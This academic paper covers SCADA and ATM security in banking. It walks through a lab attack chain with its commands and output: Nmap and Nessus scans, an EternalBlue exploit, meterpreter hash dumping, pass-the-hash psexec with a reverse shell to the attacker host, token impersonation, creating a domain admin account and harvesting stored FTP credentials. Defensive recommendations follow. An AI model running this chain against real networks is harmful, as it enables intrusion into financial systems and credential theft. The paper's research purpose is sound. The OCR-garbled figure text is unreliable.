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ABSTRACT

Supervisory control and data acquisition (SCADA) systems appear as smart technology products that are easy to control, provide fast communication, transmit data to
relevant institutions, observed, informed and provide storage. These are the systems that inform the relevant unit of all activations that may occur in cases of sudden
intervention, from industry to energy and from communication to banking systems. Supervisory control and data acquisition systems store thousands of data on
monetary systems. In this article, the prevention of cyberattacks on SCADA systems used in the financial field is discussed. In the introduction part of the article, studies
on cyber security are included and the importance of establishing information security policies and putting them into practice is mentioned. In the Materials and
Methods section, a simulation of a possible attack on SCADA systems used in the financial field has been created and system vulnerabilities have been identified for this
scenario and the results obtained as a result of exploiting the relevant vulnerabilities are given. In the Evaluation and Suggestions section, the results and evaluations
of the findings obtained through vulnerability scans and attack analyzes within the scope of the relevant scenario are given and the measures to be taken are included.
In addition, in the light of the information obtained in the literature research, what needs to be done to increase the security of SCADA networks has been specified. In
the last section, the importance of cyber attacks, depending on the developments in the future, is mentioned by giving the access requirements, necessary times and
flow chart for the attacks carried out within the scope of the scenario.

Index Terms—Cyber security, cyber-attack, SCADA, prevention of cyber-attacks, artificial intelligence.

I. INTRODUCTION

Attacks carried out in cyberspace are multidimensional and continue to increase. In addition,
cyber-attacks have deepened globally. For this reason, since it is technically very difficult to deter-
mine the place where the cyberattack was carried out and the identities of the cyberattackers,
the states have started to work against cyber threats. The Republic of Turkey has been publishing
a cyber security strategy since 2012. The latest 2016-2019 National Cyber Security Strategy has
been published [1, 2]. Cyber security is the provision of security of data, transactions, processes,
policies, experiences, capacities, people, and systems in cyberspace [3]. With the development of
internet technology, cyberattacks on institutions, individuals, critical infrastructures, or countries
increase and these attacks reach dimensions that affect public order and security, apart from
financial losses. For this reason, studies in the field of cyber security are accelerated [4].
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most appropriate information security model that can be taken as a basis for developing policies
on information security and applying information security in all its dimensions. In this model,
three different aspects of information (characteristics, status, and security measures) related to
ensuring information security are shown by grouping [5].

In general terms, supervisory control and data acquisition (SCADA) architecture describes appli-
cations that aim to control and monitor remote equipment through a communication channel.
Basically, SCADA systems perform the functions of monitoring, control, data collection, record-
ing, and storage of data.
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Fig. 1. McCumber Cube [5].

Supervisory control and data acquisition systems have stratification
feature. Due to their stratified features, these systems enable busi-
nesses to gradually realize all their control needs.

As a result of the literature research, sample studies on SCADA sys-
tems and cyber security are given below.

In a study by Janicke, Nicholson, Webber, and Cau, it is stated that
industrial control systems (ICS) are widely used in critical national
infrastructures of the country such as utilities, transportation, bank-
ing, and healthcare. In this research, a runtime monitoring tech-
nology is presented that provides assurances about the functional
behavior of ICS components and shows how [6].

In a study by Ismail, Sitnikova, and Slay, past cyberattacks on SCADA
for critical infrastructures and the financial and economic problems
that compromised these systems were examined by researchers. As
a result of their studies, the researchers listed which features should
be considered in a guide that organizations can use in order to be
better prepared in identifying possible cyber security attacks on
SCADA systems [7].

In a study conducted by Van Niekerk, it was stated that economic
information warfare is considered as an activity to control, protect,
and potentially disrupt economic activity through information and
information systems. In the study, the strategic and economic con-
sequences of cyberattacks on commodity value chains were inves-
tigated [8].

In a study conducted by Troiano et al. it was stated that as critical
infrastructures become more complex, sophisticated, and digitally
interconnected, they become more susceptible to cyber and physical
security attacks. In order to reduce the risks of such attacks, the need
for their security in an integrated manner, which takes into account
the simultaneous protection of their cyber and physical assets, has
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been addressed. In the study, a Big Data platform is introduced that
implements an integrated approach to secure and protect critical
infrastructures for the financial industry [9].

In the research conducted by Campbell, cyberattacks on electricity
distribution systems in the United States were discussed. As a result
of his study, the researcher examined the role of SCADA systems in
the development of cyber security depending on the scenarios and
emphasized the necessity of legal hacking in order to ensure con-
tinuous control of cyber security vulnerabilities to improve network
cyber security [10].

In a study by Wilson, emerging cyber terrorism threats to critical
information infrastructures were examined. The researcher provided
penetration with Flame and Stuxnet codes, which he also made an
application in his study. Since the codes are widely shared among
research teams in various countries and by hackers, this method was
followed and it was concluded that it could be used during re-infil-
tration [11].

As can be seen from the literature review, the fields of cyber security
are quite diverse. For this reason, the risks brought by digitalization
are not negligible. Banking systems, often represented by private
companies, are particularly important to the safety of all citizens in
society.

Cyber threats such as malware and identity theft are making privacy
issues increasingly a concern for every user. Especially when these
actions are made to a bank or financial institution, great losses in
terms of consequences are not limited to identity theft but may
cause more losses. For this reason, it is very important to present a
guide study on how to take precautions for a possible attack sce-
nario on the financial system, with support from the literature.

Il. MATERIALS AND METHODS

The popularity of logical attacks on automatic teller machines (ATMs)
is increasing day by day, resulting in millions of dollars in losses.
Within the scope of security analysis studies, security vulnerabilities
related to network security, misconfiguration, and insufficient pro-
tection of peripherals are constantly revealed.

When all these system vulnerabilities are considered together, the
possibility of stealing cash from ATMs, capturing card data, interrupt-
ing network traffic, and attacking the transaction center is possible.
Since banks tend to use the same configuration on multiple ATMs, a
successful attack on a single ATM can be easily replicated on a larger
scale [12,13].

As an example of attacks on SCADA systems used in the financial
field, the vulnerabilities encountered in the security analysis as a
result of the literature research for cyberattacks on ATM devices are
given below:

inadequate network security;

inadequate environmental security;

misconfiguration of systems or devices;

vulnerabilities or misconfiguration of application control.

AN

In this chapter, with the simulation of a possible attack, how to
successfully infiltrate an idle system (SCADA-ATM network used in
the financial field) used for penetration and how to gain access to
other equipment and systems in the network are discussed. Criminal
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Fig. 2. Simulation environment.

gaining access to the SCADA (ATM) network used in the financial
field exploited vulnerabilities such as outdated operating systems,
lack of authentication, and misconfiguration loopholes by targeting
existing network services. The simulation environment is shown in
Fig. 2. The simulation setup was designed in a virtual environment
and created on a local network and there is no internet connection.
It is assumed that the servers and devices shown in Fig. 2 are not
known at the time of the first attack, and they are detected in the
vulnerability scanning and attack analysis steps.

As can be seen in Fig. 2, the first cyberattack is carried out on the
machine named “SCADA-ATM” using the device named “Attacking
PC” and in the light of the information obtained, other servers and
devices in the network where the machine named as “SCADA-ATM”
is located, and the cyberattack is directed.

Assuming that the attacker is an employee of the institution or inter-
net provider or a malicious person, the scenario is realized by con-
sidering that the attacker has the authority to access the network
to which the SCADA system (ATM network) is connected and can
obtain this access remotely.

Assuming that the attacker knows and/or guesses the internet pro-
tocol (IP) address of the target system while performing the attack,
an attempt was made to infiltrate the system with a bare attack with-
out any protective device/software. The steps of vulnerability scan-
ning and attack analysis are given below:

1. attacks were carried out with a Kali Linux-based PC, relying on
the power of its tools;

2. the first type of attack was to detect potential security vulner-
abilities in the target system with Nessus which is a vulnerability
scanning software;

3. secondly, the open ports on the systems were scanned with the
NMAP tool and the necessary attack method was determined;

4. third, by using the Metasploit Framework, vulnerabilities on
existing devices were exploited and an attempt was made to
infiltrate the target system. Afterward, the attack was directed
using the information to be obtained from here.

In the first stage, scanning was performed on the target system
named SCADA-ATM using Nessus program. As a result of the scan,
which operating system is running on the target system, which ser-
vices are on which ports, and the vulnerabilities of the target system
are determined and presented in a report according to their degrees.
The scan result is given in Fig. 3.

In the second stage, the IP address of the target system was scanned
using the NMAP tool. As a result of the scan, which services are run-
ning on open ports and ports were determined. It has been observed
that there is a critical opening with a high-risk factor named “smb-
vuln-ms17-010" on port “445.” The scan result is given in Fig. 4.

In the third stage, the vulnerability detected on the target machine
was exploited using the Metasploit Framework, which is a penetra-
tion tool. Remote-host settings of the target machine were made
by using the “ms17_010_eternalblue” exploit with the number “0”
on the msfconsole and with the relevant settings, the exploitation
process was carried out successfully. The result of the exploitation
process is given in Fig. 5.

Considering that the target machine is an ATM device, much infor-
mation can be exploited, from stealing cash to private information.
At this point, since it is already known that the target system is an
inert system used for penetration, the aforementioned information
is not available on the system is already known. For this reason, the
attempt to infiltrate other systems on the same network by using
other information that could be obtained through the target system
may be continued. Username and hash records of password values
on the target system were captured. Afterward, by using this user-
name and hash values, it was tried to gain unauthorized access to
other systems on the network. The captured username and hash val-
ues are in the Fig. 6.

The existence of a machine with a different IP address has been
detected on the network where we are in. During the discovery
phase of the relevant machine, information about the operating sys-
tem, computer name (MG-PC), and the domain in which it is located
was obtained. In the light of this information, it is seen that the target
system is in a domain named xbank.local. Information on the deter-
minations is shown in Fig. 7.

In the light of the new discovery and the planned scenario, a brute
force attack attempt was made on the new target machine by using
the previously captured username and password hash values on the
MG-PC machine. As can be seen in Figure 8, it has been determined
that the administrator user and a password hash value match.

Without knowing the password of the administrator user, which
was detected through the “psexec” exploit module, the hash values
of the relevant password were used to infiltrate the device named
MG-PC. The result of the infiltration process is given in Fig. 9.
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Fig. 3. Nessus scan on target system vulnerability discovery.

Q ~
172.16.1.10 5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 05:21 EST

PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack ttl Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp? syn-ack ttl

2869/tcp open http syn-ack ttl Microsoft HTTPAPI httpd 0 (SSDP/UPNP)
5357/tcp open http syn-ack ttl Microsoft HTTPAPI httpd 0 (SSDP/UPNP)
10243/tcp open http syn-ack ttl Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc syn-ack ttl Microsoft Windows RPC

49153/tcp open msrpc syn-ack ttl Microsoft Windows RPC

49154/tcp open msrpc syn-ack ttl Microsoft Windows RPC

49155/tcp open msrpc syn-ack ttl Microsoft Windows RPC

49156/tcp open msrpc syn-ack ttl Microsoft Windows RPC

49157/tcp open msrpc syn-ack ttl Microsoft Windows RPC

MAC Address: 00:0C:29:F0:1D:46 (VMware)

Service Info: Host: SCADA; 0S: ndows; CPE: cpe:/o:microsoft:windows

445 172.16.1.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 05:32 EST
Nmap scan report for 172.16.1.10
Host is up (0.00042s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F0:1D:46 (VMware)

Host script results:
| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-06 NT_STATUS_ACCESS_DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-010).

[
|
|
[
|
[

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

1 IP address (1 host up) scanned in 19.18 seconds

Fig. 4. NMAP scan on the target system.
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Fig. 5. Attempt to infiltrate the target system.

As a result of the queries made on the relevant machine, it was
seen that there is an administrator user in the xbank domain and
by impersonating the administrator user, him/her privileges were
gained. Information on the determinations is shown in Fig. 10.

Going to the command line of windows on the target machine, a user
named “scada” with high privileges included in the “domain admins”
group has been created. With this created user, much information can

be accessed and many desired operations can be performed on the
domain. For example, here, using the “crackmapexec,” a “post-explo-
tion” tool, the username and password (hash dump) information of
the servers and computers on the entire network were captured.
Information on the transactions performed is shown in Fig. 11.

As a result of the ongoing research on the related machine,
the existence of another network leg (IP: 172.16.2.20) that is

meterpreter > sysinfo
Computer : SCADA

[ : Windows 7 (6.1 Build 7601, Service Pack 1).

Architecture : X64

System Language : tr_TR

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > migrate -N lsass.exe
Migrating from 1060 to 468 ..
Migration completed successfully.

meterpreter > hashdump

admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174dast90caebs22f3fa5a7ae634 :::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4al557 :::
bulut:1002:aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
HomeGroupUser$:1004:aad3b435b51404eeaad3b435b51404ee: cedf619dfal3b13f970fe9.
user1:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::

/home/kali/Desktop

) SCADA-ATM-HASH

] /home/kali/Desktop
0 SCADA-ATM-USER

Fig. 6. Analysis on the target system.

Q5
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o ~
172.16.1.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 09:57 EST
Initiating ARP Ping Scan at 09:57
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 09:57, 1.97s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at 09:57
Completed Parallel DNS resolution of 3 hosts. at 09:57, 13.02s elapsed
Nmap scan report for 172.16.1.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:01
Nmap scan report for 172.16.1.10
Host is up (0.00018s latency).
MAC Address: 00:0C:29:F0:1D:46
Nmap scan report for 172.16.1.20
Host is up (0.0010s latency).
MAC Address: 00:0C:29:33:13:4B

@ ~
172.16.1.20
Starting Nmap 7.91 ( https://mnmap.org ) at 2021-11-27 10:03 EST
Nmap scan report for 172.16.1.20
Host is up (0.00056s latency).
Not shown: 989 closed ports
PORT STATE SERVICE

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp  open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown

MAC Address: 00:0C:29:33:13:4B

Host script results:

| smb-os-discovery:

| 0S: Windows 8.1 Pro 9600 (Windows 8.1 Pro 6.
| 0S CPE: cpe:/o:microsoft:windows_8.1:

| Computer name: MG-PC

\ NetBIOS computer name: MG-PC\x00

| Domain name: xbank.local

| Forest name: xbank.local

| FQDN: MG-PC.xbank.local

\7 System time 021-11-27T718:03:28+03:00

Nmap done: 1 IP address (1 host up) scanr in 15.99 seconds

Fig. 7. Discovery of the MG-PC device.

auxiliary( ) > set RHOSTS 172
RHOSTS = 172
auxiliar, ) > set RPORT 445

msf6 auxiliary( ) > set THREADS 20
THREADS =
auxiliar, ) > set PASS_FILE /home/kali/Desktop/SC
PASS_FILE = /home/kali/Desktop/SCADA-ATH-HASH
auxiliar ) > set USER_FILE /home/kali/De
USER_FILE = /home/kali/Desktop/SCADA-ATH-USER
msf6 auxiliary( ) > run

172.16.1.20:445 - Starting SMB login bruteforce

172.16.1.20:445 - Failed: '.\admin:aad3b435b51404eeaad3b435b51404ee:209c6174dab90caebs22f3fa5a7ae63!

No active DB — Credential data will not be saved!

172 *.\admin:aad3b435b51404eeaad3b435b51404ee : 21320accbb0e30dobo17efb33d4a1557 ",

172 *.\admin:aad3b435b51404eeaad3b435b51404ee : 5fbc3d5fec8206a30f4b6c473d68ae76" ,

172. 31d6cfe0d162e931b73¢59d7€0c089¢0" ,

172 d3b435b51404eeaad3bs35b51404ee: cedf619dfal3b13f970fe98d79eb301d" ,

172 -\admin:aad3b435b51404eeaad3b435b51404ee : 64F12cddaass57e06a81b54e73b949b"

172 *.\Administrator:aad3b435b51404eeaad3b435b51404ee:209c6174das90caebs22f3fa5a7ae634 ",

172 dob917efb33d4al557 ",

172 5fbc3ds5fec8206a30f4b6c473d68ae76" ,

172 aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ,

172 *.\Administrator:aad3b435b51404eeaad3b435b51404ee: cedf619dfal3b13f970fe98d79eb301d" ,

172 "\Administrator:aad3b435b51404eeaad3bs3sbs1404ee: 64F12cddaass057e06a81b54e73b949b" Administrator
172 .\bulut:aad3b435b51404eeaad3b435b51404ee:209c6174dako0caebs22

172
172
172
172
172
172
172
172

X3

S

S

S S

5

1445 - Failed:
445 - Faile t
445 - Correct credentials, but unable to logi

25
28
2%
Ao
Ao
Zo
2
2
2
2
2
Ao

1445 - Failed: '.\Guest:aad3b43sbs1u0seeaad3ba3sbsiaod

SNRNNNNNNN-

1445 - Failed:

Fig. 8. Using the “smb_login”"module.
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msf6 exploit(

RHOSTS = 172.16.1.20
msf6 exploit(

SMBUSER = Administrator
msf6 exploit(

SMBPASS

msf6 exploit(

) > run

Started reverse
172.16. 1445
172.16.1.
172.16.
172.16.1.
172.16.
Sending st.

- Connecting to

- Executing the
- Service start
75174 bytes) to

[+] 1445

age (1

) > set RHOSTS 172.16.1.20

) > set SMBUSER Administrator

) > set SMBPASS aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
= aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

TCP handler on 172.16.1.200:4444

the server...

- Authenticating to 172.16.1.20:445 as user 'Administrator’ ...
- Selecting PowerShell target

payload ..
timed out, OK if running a command or non-service executable..
172.16.1.20

Meterpreter session 2 opened (172.16.1.200:4444 — 172.16.1.20:49168) at 2021-11-27 12:04:53 -0500

meterpreter > I

Fig. 9. Psexec exploits module infiltration attempt.

meterpreter > sysinfo

Computer : MG-PC

0s : Windows 8.1 (6.3 Build 9600).

Architecture : x64

System Language : tr_TR

Domain : XBANK

Logged On Users : 4

Meterpreter : x86/windows

meterpreter > migrate -N lsass.exe
Migrating from 2528 to 540 ...
Migration completed successfully.

meterpreter > load incognito

Loading extension incognito ... Success.

meterpreter > list_tokens -u
Delegation Tokens Available

NT AUTHORITY\Local Service
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Window Manager\DwWM-1
XBANK\Administrator

Impersonation Tokens Available
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token XBANK\\Administrator
[+] Delegation token available

[+] Successfully impersonated user XBANK\Administrator
meterpreter > getuid

Server username: XBANK\Administrator

connected to the machine but not in the domain has been
detected. Thus, it is possible that there may be other systems with
which the relevant machine may have previously communicated.
For this reason, when address resolution protocol packets are
sent from the machine, it is understood that communication was
previously established with another machine with an IP address
of 172.16.2.10.

More information was continued to gather by using the “post gather”
module on the relevant machine. Thus, as a result of the investiga-
tion of the software installed on the machine, it was determined
that a file transfer protocol (FTP) program was installed to provide
access to the files on other machines. As a result of the research, it
was determined that the machine named DATA with the IP address
172.16.2.10 was previously connected via the “FTP” protocol, and
username and passwords for the connection were clearly recorded.
Related studies and their results are given below.

In line with the information obtained from here, the last detected
DATA machine can be infiltrated, the data in it or other information
can be accessed, but at this point, the planned scenario is termi-
nated. In the next section, evaluations and short suggestions are
given for this scenario, and what needs to be done to improve the

Fig. 10. MG-PC discovery and capture of authority.

security of SCADA networks in the light of the information obtained
in the literature research is stated.

da Parolal
xbank.local etki

tamamland®.

r scada Parolal! /add /domain

n®n®n denetleyicisinde i®lenecek.

s scada /add /domain

e i@lenecek.

Standard Evaluation 14393

x64 (name:DC) (domail

hashes to the databa

Fig. 11. Creating users and obtaining hash information.
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meterpreter > ipconfig

Interface 1

Name : Intel(R) 82574L Gigabit A
Hardware MAC :
MTU

IPv4 Addre
IPv4 Netm

IPv6 Addr

IPv6 Netmas

29:33:13:55

1a4:e9a9:fe24:e59a
FFFFFFFF:

Interface

Intel(R) 82574L Gigabit A®®

2864 created.
ated.

Microsoft Windows [Version 6.3.9600]

C:\Windows\system3
arp

Interface:
Internet

172.16.1.20 — 0x3

01-00-5e-7f-
meterpreter > run post/windows/gather/enum_applications
Enumerating applications installed on MG-PC

alled Applications

Name Version

WinSCP 5.19.4
WinSCP 5.19.4

5.19.4
5.19.4

[+] Results stored in: /root/.msf4/100t/20211127171925_de
meterpreter > run post/windows/gather/credentials/winscp
Looking for W
Port: 22,
, Port: 21, Service: FTP,
10, Port: 21, Service: FTP,
ed Passwords found in the Session Registry Keys

Service

-64-b0-46
-f0-1d-46
29-84-fd-a2
ff-ff-ff-ff

01-00-5e-00-00

(c) 2013 Microsoft Corporation. T€m haklar® sakl€d@r.

Type
dynamic
dynamic
dynamic
static
static
static
static

Type
dynamic
static
static
static
static

fault_172.16.1.20_host.application_998310.txt

: SSH, Username:
Username: admin,
Username: admin,

admin, Passwor Passwdl!

Fig. 12. Detection of DATA machine.

11l. ASSESSMENT AND RECOMMENDATIONS

In this section, suggestions for strengthening SCADA systems used
in the financial field against logical attacks are given. As the severity
of abuse increases, the probability of crime decreases. The first step
to reduce the risk of attack is to physically secure the perimeter of
SCADA systems. During the tests carried out within the scope of the
said study, it was determined that the exploitation of security vulner-
abilities could not be made without access to the onboard computer
and peripheral ports.

In the related study, the operating system and services running
on the ATM device were determined and some vulnerabilities
were identified as a result of vulnerability scanning. During the
controls, it was understood that there was no tightening measure
in the ATM device. This situation has been evaluated as a factor
that facilitates attackers to gain control over the system. The fact
that the attacker gaining access to the ATM device had broad
privileges enabled him/her to perform the desired transactions
on the device. Servers were detected with network scans, and it

was possible to run commands on assets and manage domain
users after vulnerabilities were found in the detected servers.
The use of domain users made it possible to perform transactions
requiring high-level authorization and rights escalation attacks
were carried out. Explicit recording of data such as username,
password, and commands on systems allowed an attacker to gain
access to other networks and obtain sensitive information on dif-
ferent items without any effort.

Suggestions:

1. Segmentation on the network should be at the forefront so that
the server—lient network and the ATM network are isolated
from each other, allowing minimal service interaction.

2. A software or hardware virtual private network client built into
the ATM must be used.

3. Port authorization definitions should be made for servers and
clients to access only the services they need.

4. Operating system and application updates should be installed

regularly.
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Fig. 13. Flowchart.

By taking tightening measures on the ATM device, it should
be ensured that the attackers are prevented from gain-
ing control over the system and effects such as violation
of confidentiality and deterioration of integrity should be
eliminated.

A firewall should be configured to allow remote access only to
necessary services and should be closed to all network inter-
faces where access is not required.

A common local administrator account should not be used. If it
is necessary, strong passwords should be used by determining
the quality of the password in order to protect it from brute-
force attacks. Difficulty levels of user passwords should be
checked.

In the light of the information obtained in the literature research,

things to be done to improve the security of SCADA networks are

10.

as follows[14-17]:

All connections in the SCADA network must be defined.
Unnecessary connections in the SCADA network need to be cut.
The security of all connections in the SCADA network needs to
be evaluated and strengthened.

Supervisory control and data acquisition networks need to be
strengthened by removing or disabling unnecessary services.

It is important to use custom protocols to protect the system.
Security features provided by device and system vendors must
be implemented.

Controls over any medium that is used as a backdoor to the
SCADA network should be established.

Internal and external intrusion detection systems should be
implemented and event monitoring should be established 24
hours a day.

Technical audits of SCADA devices and networks and any other
connected networks need to be performed to identify security
vulnerabilities.

Physical security surveys should be conducted and all remote
sites connected to the SCADA network need to be evaluated.

11.

12.

13.

14.

15.
16.

17.
18.

19.

20.

\TA

Su

Cyber security roles, responsibilities, and authorities need to be
clearly defined for managers, system administrators, and users.
It is necessary to document the network architecture and iden-
tify systems that serve critical functions or contain sensitive
information that requires additional levels of protection.

A rigorous and continuous risk management process needs to
be established.

A network protection strategy based on the defense-in-depth
principle needs to be established.

Cyber security requirements need to be clearly defined.
Effective configuration management processes need to be
established.

Routine self-assessments are required.

System backups and disaster recovery plans need to be
created.

Expectations for cybersecurity performance need to be
established.

Internal threats should be minimized.

CONCLUSION

pervisory control and data acquisition systems appear as smart

technology products that are easy to control, provide fast communi-
cation, transmit data to relevant institutions, are observed, informed,
and provide storage. They are the systems that inform the relevant

un

it of all activations that may come into question in cases of sudden

intervention, from industry to energy, from communication to bank-
ing systems. SCADA systems store thousands of data on monetary
systems.

In

this article, the prevention of cyberattacks on SCADA systems

used in the financial field is discussed. Information security and gen-
eral features of SCADA systems and previous studies on Supervisory
control and data acquisition systems and cyber security are given.
In this context, a possible attack scenario was created for ATMs, one
of the SCADA systems used in the financial field, and system vulner-

ab

140

ilities were identified for this scenario, and the results obtained as
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TABLE I ACCESS REQUIREMENTS AND TIMES FOR POSSIBLE ATTACKS

Required Time
Possible Attacks Access Requirement (Minutes)
Vulnerability analysis Access to ATM network 15
MS17-010 vulnerability  Access to ATM network 15
Brute force attack Access to ATM network 20
Upgrade attack Access to ATM network 10
Data collection Access to ATM network 15

ATM, automatic teller machine.

a result of exploiting the relevant vulnerabilities were included. The
access requirement and required times for the attacks carried out
within the scope of the scenario are given in Table I.

The attack analyzes within the scope of the scenario are given in
Fig. 13.

Within the scope of the relevant scenario, the results and evalua-
tions regarding the findings obtained through vulnerability scans
and attack analyses were made and the measures to be taken were
included. In addition, in the light of the information obtained as a
result of the literature research, the things to be done to improve the
security of SCADA networks are stated.

With the latest developments in technology, loT, in other words,
the Internet of Things, emerges as an alternative to SCADA in newly
installed systems. In addition, the combination of SCADA and loT
is gaining popularity day by day. For this reason, it is expected that
cyber security studies will be shaped in this direction.

In addition, with the developments in artificial intelligence tech-
nology in recent years, the use of this technology has come to the
fore. The use of artificial intelligence technology for SCADA system
security appears as an intrusion detection system. With the use of
artificial intelligence technology to prevent cyberattacks on SCADA
systems used in the financial field, it is aimed to analyze input event
data and identify models that will reflect possible threats to cyber
infrastructure.

Depending on the developments to be experienced in the future, it
is possible to encounter algorithms with much higher performance
and cyberattack prevention capabilities. Thus, thanks to the devel-
oped intrusion prevention systems, it will be possible to design
systems that are more resistant to cyberattacks and more difficult
to attack. Therefore, in this context, the use of artificial intelligence
technology to prevent cyberattacks on SCADA systems used in the
financial field has been discussed.
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